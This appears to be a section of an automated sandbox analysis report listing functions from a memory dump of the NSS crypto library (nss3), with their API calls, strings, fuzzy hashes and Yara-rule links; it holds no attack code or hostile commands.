String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 37d5470ddd9a676307c11823ec4e45b78c3eb20b127af6117095809fa56139f8
Instruction ID: 3024fec7cf1813616a5ea96cdc70f7851658fb5c79f290186ea06a6dbd158ac5
Opcode Fuzzy Hash: 37d5470ddd9a676307c11823ec4e45b78c3eb20b127af6117095809fa56139f8
Instruction Fuzzy Hash: B36191B5E01109ABDB10CF95CE81AAFB7B5FF84358F244129DC28A7700E732E915CBA1

Function 6CE78E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE78E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE78E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE78EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFA18D0,?), ref: 6CE78F03
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE78F19
PL_FreeArenaPool.NSS3(?), ref: 6CE78F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE78F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE78F65
PL_FinishArenaPool.NSS3(?), ref: 6CE78FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE78FFE
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE79012
PL_FreeArenaPool.NSS3(?), ref: 6CE79024
PL_FinishArenaPool.NSS3(?), ref: 6CE7902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE7903E

Strings

security, xrefs: 6CE78EE7

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: fe178f25365cdefa657956215383bd0041fb64fbd913ae77e3c290af711d01bc
Instruction ID: ef02c5eedfeb8497432725c91ee3bb22c53accfcb4ea7dec79f41d65456eabde
Opcode Fuzzy Hash: fe178f25365cdefa657956215383bd0041fb64fbd913ae77e3c290af711d01bc
Instruction Fuzzy Hash: 96512A71608200ABD7309A589C41FAB77B8EF9675CF65082EF455A7B40D732E90AC7B3

Function 6CEA4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CEA4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4EC7

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CEA4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CEA4F68

Strings

pTemplate = 0x%p, xrefs: 6CEA4F4A
hSession = 0x%x, xrefs: 6CEA4EA2, 6CEA4EB2
(CK_INVALID_HANDLE), xrefs: 6CEA4EC0, 6CEA4F13
hObject = 0x%x, xrefs: 6CEA4EF5, 6CEA4F05
ulCount = %d, xrefs: 6CEA4F63
C_GetAttributeValue, xrefs: 6CEA4E7E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction ID: 0d0c7c54bd5e3f55631538dc9973ee1c95213e8a6c11dcea7af50b9a25df6f2b
Opcode Fuzzy Hash: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction Fuzzy Hash: DF411834A12114BFDB009FA0DC49F9A77B5EB4630DF55A46AE8085FB11DB31AD0ACB91

Function 6CEA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CEA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D37

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CEA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CEA4E20

Strings

hSession = 0x%x, xrefs: 6CEA4D12, 6CEA4D22
*pulSize = 0x%x, xrefs: 6CEA4E1B
(CK_INVALID_HANDLE), xrefs: 6CEA4D30, 6CEA4D83
hObject = 0x%x, xrefs: 6CEA4D65, 6CEA4D75
pulSize = 0x%p, xrefs: 6CEA4DB7
C_GetObjectSize, xrefs: 6CEA4CEE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction ID: 48842701aa0e09aaf0add151338e89899ffbda3f5fc49634fe7b1bb10890b8b7
Opcode Fuzzy Hash: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction Fuzzy Hash: BC411771A11104BFDB409FA0DC88F5A77B5EB4630DF55846AE8086F711DB32AD0ACB92

Function 6CEA2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CEA2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA2F63

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CEA2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CEA2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CEA2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CEA2FE7

Strings

hSession = 0x%x, xrefs: 6CEA2F3E, 6CEA2F4E
(CK_INVALID_HANDLE), xrefs: 6CEA2F5C
pOldPin = 0x%p, xrefs: 6CEA2F95
ulNewLen = %d, xrefs: 6CEA2FE2
ulOldLen = %d, xrefs: 6CEA2FB0
pNewPin = 0x%p, xrefs: 6CEA2FC9
C_SetPIN, xrefs: 6CEA2F21

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: e4a5e17d98faf21f9d40231f59985644e73b8e8b64aba571cb7fcfc3d2de8c44
Instruction ID: 2c9467ae16a2e649eab4c4917064db4146cd0992dcd71ea5dce09208943144a7
Opcode Fuzzy Hash: e4a5e17d98faf21f9d40231f59985644e73b8e8b64aba571cb7fcfc3d2de8c44
Instruction Fuzzy Hash: AB312635A12144AFDB409FA1CD4DF4A7BB1EB4A30DF558058E8087B711DB32EC0ACB91

Function 6CF3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A

Part of subcall function 6CF3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CEAC1A8,?), ref: 6CF3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E

Part of subcall function 6CE605C0: PR_EnterMonitor.NSS3 ref: 6CE605D1
Part of subcall function 6CE605C0: PR_ExitMonitor.NSS3 ref: 6CE605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CE48

Strings

wship6.dll, xrefs: 6CF3CDE3
getnameinfo, xrefs: 6CF3CDB2, 6CF3CE23
getaddrinfo, xrefs: 6CF3CD88, 6CF3CDF9
freeaddrinfo, xrefs: 6CF3CD9F, 6CF3CE10
ws2_32.dll, xrefs: 6CF3CD75

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction ID: d91a139d27be109b9198e9261a944ebfe80f389863e8d7ce75e77657f5b0567a
Opcode Fuzzy Hash: 81745773098831d0fbdae58cc91d84ea566a28a4c18ba1bfbfccaee140c0a8bd
Instruction Fuzzy Hash: EA11E9E5E6213162D74166BA2C00BDB39785B1211DF289A3DF81DD1F81FB23D94A82F6

Function 6CF81C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF813BC,?,?,?,6CF81193), ref: 6CF81C6B
PR_NewLock.NSS3(?,6CF81193), ref: 6CF81C7E

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewCondVar.NSS3(00000000,?,6CF81193), ref: 6CF81C91

Part of subcall function 6CE5BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE621BC), ref: 6CE5BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF81193), ref: 6CF81CA7

Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE5BBEB
Part of subcall function 6CE5BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE5BBFB
Part of subcall function 6CE5BB80: GetLastError.KERNEL32 ref: 6CE5BC03
Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE5BC19
Part of subcall function 6CE5BB80: free.MOZGLUE(00000000), ref: 6CE5BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF81193), ref: 6CF81CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF81193), ref: 6CF81CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF81193), ref: 6CF81CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF81193), ref: 6CF81D1A

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D3D

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF81193), ref: 6CF81D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF81193), ref: 6CF81D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF81193), ref: 6CF81D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF81193), ref: 6CF81D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF81193), ref: 6CF81D93
PR_DestroyLock.NSS3(00000000,?,?,6CF81193), ref: 6CF81D9F
free.MOZGLUE(00000000,?,6CF81193), ref: 6CF81DA8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: ae1215528637c3021e4e8f0bdec07ad143734246df6533db8acb3379e5766b54
Instruction ID: aa6cc9f8ef5d7a1c355f2d3fd821bd30966a6bda602df6e33b408d813145c0ed
Opcode Fuzzy Hash: ae1215528637c3021e4e8f0bdec07ad143734246df6533db8acb3379e5766b54
Instruction Fuzzy Hash: 1B3193F2E117015BEB209F35AC41BA776F4AF01758B148938E85A87F41FB31E518CBA2

Function 6CE95E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE95ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE95EE3
PR_Unlock.NSS3(?), ref: 6CE95F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE95FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE961F4
S&l, xrefs: 6CE962E3
S&l, xrefs: 6CE95E6C, 6CE9627F, 6CE95F12

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 1dfa2cfd82dce8643485d98c252743f2d1f36c8265dae8c65abe48c02eba66e7
Instruction ID: ac24d878b1eea0b57d597772bf969abed83df9e231bf496f8c1c108c25b3d6bb
Opcode Fuzzy Hash: 1dfa2cfd82dce8643485d98c252743f2d1f36c8265dae8c65abe48c02eba66e7
Instruction Fuzzy Hash: 77F105B5A002158FDB44CF19C984B86BBF4FF09318F6582AAD8089F746D774EA85CF91

Function 6CEE0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEE0C81

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

Part of subcall function 6CEB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEB95DC,00000000,00000000,00000000,?,6CEB95DC,00000000,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0CC4

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEE0D7D
free.MOZGLUE(00000000), ref: 6CEE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0DC1
free.MOZGLUE(00000000), ref: 6CEE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEE0E0F

Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95E0
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95F5
Part of subcall function 6CEB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEB9609
Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB961D
Part of subcall function 6CEB95C0: PK11_GetInternalSlot.NSS3 ref: 6CEB970B
Part of subcall function 6CEB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEB9756
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?), ref: 6CEB9767
Part of subcall function 6CEB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEB977E
Part of subcall function 6CEB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB978E

Strings

-$l, xrefs: 6CEE0C64
*,l, xrefs: 6CEE0DCC
*,l, xrefs: 6CEE0C69, 6CEE0DE0, 6CEE0C80, 6CEE0C8B, 6CEE0CAF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction ID: 2b76013b10f47f2dda46a688b37010ebc1f003cb5d49bf835b5c699d4fc6020a
Opcode Fuzzy Hash: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction Fuzzy Hash: EC41D2B5E00246AFEB009F65DC85BAF7678EF0534CF240028E9156B741EB35EA15CBE2

Function 6CED5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CED5EC0,00000000,?,?), ref: 6CED5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CED5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CED5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CED5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CED5EC0,00000000,?,?), ref: 6CED5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CED5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CED5D80

Strings

dbm:, xrefs: 6CED5D03, 6CED5D60
extern:, xrefs: 6CED5CEA, 6CED5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6CED5D1A
multiaccess:, xrefs: 6CED5CB8
sql:, xrefs: 6CED5CD1, 6CED5D36

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: d719b89f318af36b1fd905a9beccc7fc49041b89ac0c6cc9618480c9ffab66e0
Instruction ID: 3b95b1a9d849a16e86b83ce4618d323baad3770089daaef7ebbcf07ead21e054
Opcode Fuzzy Hash: d719b89f318af36b1fd905a9beccc7fc49041b89ac0c6cc9618480c9ffab66e0
Instruction Fuzzy Hash: FE31E2E0B433026BE7401E25DC58B673778EF0624CF360021ED55A7A81E772E903C6B9

Function 6CED6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFA1DE0,?), ref: 6CED6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CED6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CED6D82
DER_GetInteger_Util.NSS3(?), ref: 6CED6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CED6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CED6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CED6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CED6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CED6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CED7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CED7033
free.MOZGLUE(?), ref: 6CED703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CED7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CED7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CED70AF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
